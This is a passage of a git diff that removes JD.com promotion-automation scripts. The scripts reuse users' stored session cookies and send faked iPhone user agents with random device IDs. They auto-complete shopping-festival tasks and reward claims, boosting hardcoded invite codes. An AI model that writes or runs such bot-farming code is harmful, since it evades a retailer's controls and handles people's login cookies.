t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nh_sign.js b/activity/jd_nh_sign.js deleted file mode 100644 index 2c0fc24..0000000 --- a/activity/jd_nh_sign.js +++ /dev/null @@ -1,150 +0,0 @@ -/* -年货节签到 -只有大吉才会推送 -cron 23 7 * * * https://raw.githubusercontent.com/star261/jd/main/scripts/jd_nh_sign.js -* * */ -const $ = new Env('年货节签到'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -let message = ''; -let cookiesArr = [] -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - if(Date.now() > 1644249600000){ - console.log(`活动已结束`); - return ; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent($.cookie.match(/pt_pin=([^; ]+)(?=;?)/) && $.cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await main(); - } - } - if(message){ - await notify.sendNotify(`年货节签到`, message); - } -})().catch((e) => {$.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '')}).finally(() => {$.done();}) - -async function main() { - $.UUID = randomString(40) - $.UA = `jdapp;iPhone;10.2.0;13.1.2;${$.UUID};M/5.0;network/wifi;ADID/;model/iPhone8,1;addressid/${randomString(10)};appBuild/${randomString(6)};jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E228;supportJDSHWK/1;` - let mainInfo = await takeRequest('queryInteractiveInfo',`{"encryptProjectId":"MD6S5z8gGgtP2VLJkLqmWPuDtHe","sourceCode":"aceaceglqd20211215"}`); - if(mainInfo.msg === 'success'){ - console.log(`获取详情成功`); - }else{ - console.log(`获取详情失败`); - return ; - } - let assignmentList = mainInfo.assignmentList; - for (let i = 0; i < assignmentList.length; i++) { - let oneInfo = assignmentList[i]; - if(oneInfo.timeStatus !== 1){ - console.log(`任务:${oneInfo.assignmentName},未达成`); - }else if(oneInfo.timeStatus === 1 && oneInfo.completionFlag){ - console.log(`任务:${oneInfo.assignmentName},已完成`); - }else if(oneInfo.timeStatus === 1){ - await $.wait(2000); - console.log(`任务:${oneInfo.assignmentName},去完成`); - let ext = ''; - if(oneInfo.assignmentName === '9日大奖'){ - ext = {"exchangeNum":1}; - } - if(oneInfo.assignmentName === '17日大奖'){ - ext = {"exchangeNum":1}; - } - if(oneInfo.assignmentName === '24日大奖'){ - ext = {"exchangeNum":1}; - } - let info = { - "encryptProjectId":"MD6S5z8gGgtP2VLJkLqmWPuDtHe", - "encryptAssignmentId":oneInfo.encryptAssignmentId, - "sourceCode":"aceaceglqd20211215", - "completionFlag":true, - }; - if(ext){ - info['ext'] = ext - } - let signInfo = await takeRequest('doInteractiveAssignment',JSON.stringify(info)); - if(signInfo && signInfo.rewardsInfo && signInfo.rewardsInfo.successRewards){ - let allSignInfo = signInfo.rewardsInfo.successRewards; - for(let type in allSignInfo){ - let prizeInfo = allSignInfo[type]; - if(type === '1'){ - console.log(`获得:签到次数+1`); - continue; - } - for (let j = 0; j < prizeInfo.length; j++) { - let prize = prizeInfo[j]; - console.log(`获得:${prize.rewardName},${prize.prizeName},${prize.useRange || ''}`); - if(prize.rewardName.indexOf('大吉') !== -1){ - message += `账号${$.index},${$.UserName},获得:${prize.rewardName},${prize.prizeName},${prize.useRange || ''}\n`; - } - } - } - } - console.log(JSON.stringify(signInfo)); - } - } -} - -async function takeRequest(functionId,bodyInfo) { - let url = `https://api.m.jd.com/client.action`; - let body = `functionId=${functionId}&appid=publicUseApi&body=${bodyInfo}&t=${Date.now()}&client=wh5&clientVersion=1.0.0&sid=&uuid=${$.UUID}&area=&networkType=wifi`; - let options = { - url: url, - body:body, - headers: { - "Accept": "application/json", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://prodev.m.jd.com", - 'Cookie': $.cookie, - "Accept-Language": "zh-CN", - "User-Agent": $.UA, - "Referer": 'https://prodev.m.jd.com/mall/active/fARfxZh3zdMqs4tkFBhpqaQKTGA/index.html', - "Accept-Encoding": "gzip, deflate, br", - } - } - return new Promise(resolve => { - $.post(options, async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if(data){ - data = JSON.parse(data); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data || {}); - } - }) - }) -} - -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/activity/jd_nian.js b/activity/jd_nian.js deleted file mode 100644 index 28c0e25..0000000 --- a/activity/jd_nian.js +++ /dev/null @@ -1,1690 +0,0 @@ -/* -京东炸年兽🧨 -活动时间:2021-1-18至2021-2-11 -暂不加入品牌会员 -地址 https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html -活动入口:京东app首页浮动窗口 -已支持IOS双京东账号,Node.js支持N个京东账号 -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -============Quantumultx=============== -[task_local] -#京东炸年兽🧨 -0 9,12,20,21 * * * jd_nian.js, tag=京东炸年兽🧨, enabled=true - -================Loon============== -[Script] -cron "0 9,12,20,21 * * *" script-path=jd_nian.js,tag=京东炸年兽🧨 - -===============Surge================= -京东炸年兽🧨 = type=cron,cronexp="0 9,12,20,21 * * *",wake-system=1,timeout=3600,script-path=jd_nian.js - -============小火箭========= -京东炸年兽🧨 = type=cron,script-path=jd_nian.js, cronexpr="0 9,12,20,21 * * *", timeout=3600, enable=true - */ -const $ = new Env('京东炸年兽🧨'); - -const notify = $.isNode() ? require('../sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; -let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 -const randomCount = $.isNode() ? 20 : 5; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = '', message, superAssist = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -const JD_API_HOST = 'https://api.m.jd.com/client.action'; -const inviteCodes = [ - `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs`, - `cgxZbDnLLbvT4kKFa2r4itMpof2y7_o@cgxZdTXtILLevwyYCwz65yWwCE8lGkr3bUNrT0h7kLPi4wxXS762i1R7_A0@cgxZdTXtIryM712cW1aougOBa8ZyzwDRObdr4-lyq7WPJbXwCd4EB76el1c@cgxZdTXtIL-L7FzMAQCqvap-CydslPKkAn5-YquhVOdq2fHQPxbVJ4pskHs` -]; -const pkInviteCodes = [ - 'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w', - 'IgNWdiLGaPadvlqJQnnKp27-YpAvKvSYNTSkTGvZylf_0wcvqD9EMkohEN4@IgNWdiLGaPaZskfACQyhgLSpZWps-WtQEW3McibU@IgNWdiLGaPaAvmHPAQf769XqjJjMyRirPzN9-AS-WHY9Y_G7t9Cwe5gdiI2qEvDY@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hJTS2SQzU0vulL0fHeULJaIfgqHFd7f_ao@IgNWdiLGaPYCeJUfsq18UNi5ln9xEZSPRdOue8Wl3hLRjZBAJLHzBpcl18AeskNYctp_8w' -] -let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); -const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html%22%20%7D`; -!(async () => { - await requireConfig(); - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await shareCodesFormat(); - await shareCodesFormatPk() - await jdNian() - } - } - if(superAssist.length) - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await helpSuper() - } - } - if ((nowTimes.getHours() < 20 && nowTimes.getHours() >= 10) && nowTimes.getDate() === 4) { - if (nowTimes.getHours() === 12 || nowTimes.getHours() === 19) { - $.msg($.name, '', '队伍红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}); - if ($.isNode()) await notify.sendNotify($.name, `队伍PK红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) - } - } - if (nowTimes.getHours() === 20 && nowTimes.getDate() === 4) { - $.msg($.name, '', '年终奖红包已可兑换\n点击弹窗直达兑换页面', { 'open-url' : openUrl}) - if ($.isNode()) await notify.sendNotify($.name, `年终奖红包已可兑换\n兑换地址: https://wbbny.m.jd.com/babelDiy/Zeus/2cKMj86srRdhgWcKonfExzK4ZMBy/index.html`) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) - -async function jdNian() { - try { - $.full = false - await getHomeData() - await nian_doAdditionalTask() - if (!$.secretp) return - // 注释PK互助代码 - // let hour = new Date().getUTCHours() - // if (1 <= hour && hour < 12) { - // // 北京时间9点-20点 - // $.hasGroup = false - // await pkTaskDetail() - // if ($.hasGroup) await pkInfo() - // await helpFriendsPK() - // } - // if (12 <= hour && hour < 14) { - // // 北京时间20点-22点 - // $.hasGroup = false - // await pkTaskStealDetail() - // if ($.hasGroup) await pkInfo() - // await helpFriendsPK() - // } - if($.full) return - await $.wait(2000) - await killCouponList() - await $.wait(2000) - await map() - await $.wait(2000) - await queryMaterials() - await getTaskList() - await $.wait(1000) - await doTask() - await $.wait(2000) - await helpFriends() - await $.wait(2000) - await getSpecialGiftDetail() - await $.wait(2000) - await getHomeData(true) - await showMsg() - } catch (e) { - $.logErr(e) - } -} - -function encode(data, aa, extraData) { - const temp = { - "extraData": JSON.stringify(extraData), - "businessData": JSON.stringify(data), - "secretp": aa, - } - return {"ss": (JSON.stringify(temp))}; -} - -function getRnd() { - return Math.floor(1e6 * Math.random()).toString(); -} - -function showMsg() { - return new Promise(resolve => { - console.log('任务已做完!\n如有未完成的任务,请多执行几次。注:目前入会任务不会做') - console.log('如出现taskVos错误的,请更新USER_AGENTS.js或使用自定义UA功能') - if (!jdNotify) { - $.msg($.name, '', `${message}`); - } else { - $.log(`京东账号${$.index}${$.nickName}\n${message}`); - } - if (new Date().getHours() === 23) { - $.msg($.name, '', `京东账号${$.index}${$.nickName}\n${message}`); - } - resolve() - }) -} - -async function helpFriends() { - for (let code of $.newShareCodes) { - if (!code) continue - await getFriendData(code) - await $.wait(1000) - } -} - -async function helpSuper(){ - $.secretp = null - await getHomeData(true) - if (!$.secretp) return - for(let item of superAssist){ - await collectSpecialScore(item.taskId, item.itemId, null, item.inviteId) - } -} - -async function helpFriendsPK() { - for (let code of $.newShareCodesPk) { - if (!code) continue - console.log(`去助力PK好友${code}`) - await pkAssignGroup(code) - await $.wait(1000) - } -} - -async function doTask() { - for (let item of $.taskVos) { - if (item.taskType === 14) { - //好友助力任务 - //console.log(`您的好友助力码为${item.assistTaskDetailVo.taskToken}`) - } - if (item.taskType === 2) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - await getFeedDetail({"taskId": item.taskId}, item.taskId) - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } else if (item.taskType === 3 || item.taskType === 26) { - if (item.shoppingActivityVos) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await collectScore(item.taskId, task.itemId); - } - await $.wait(3000) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } - } else if (item.taskType === 9) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.shoppingActivityVos) { - if (task.status === 1) { - await collectScore(item.taskId, task.itemId, 1); - } - await $.wait(3000) - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } else if (item.taskType === 7) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of item.browseShopVo) { - if (task.status === 1) { - await collectScore(item.taskId, task.itemId, 1); - } - } - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } else if (item.taskType === 13) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - await collectScore(item.taskId, "1"); - } else if (item.status === 2) { - console.log(`${item.taskName}已做完`) - } - } else if (item.taskType === 21) { - if (item.status === 1) { - console.log(`准备做此任务:${item.taskName}`) - for (let task of 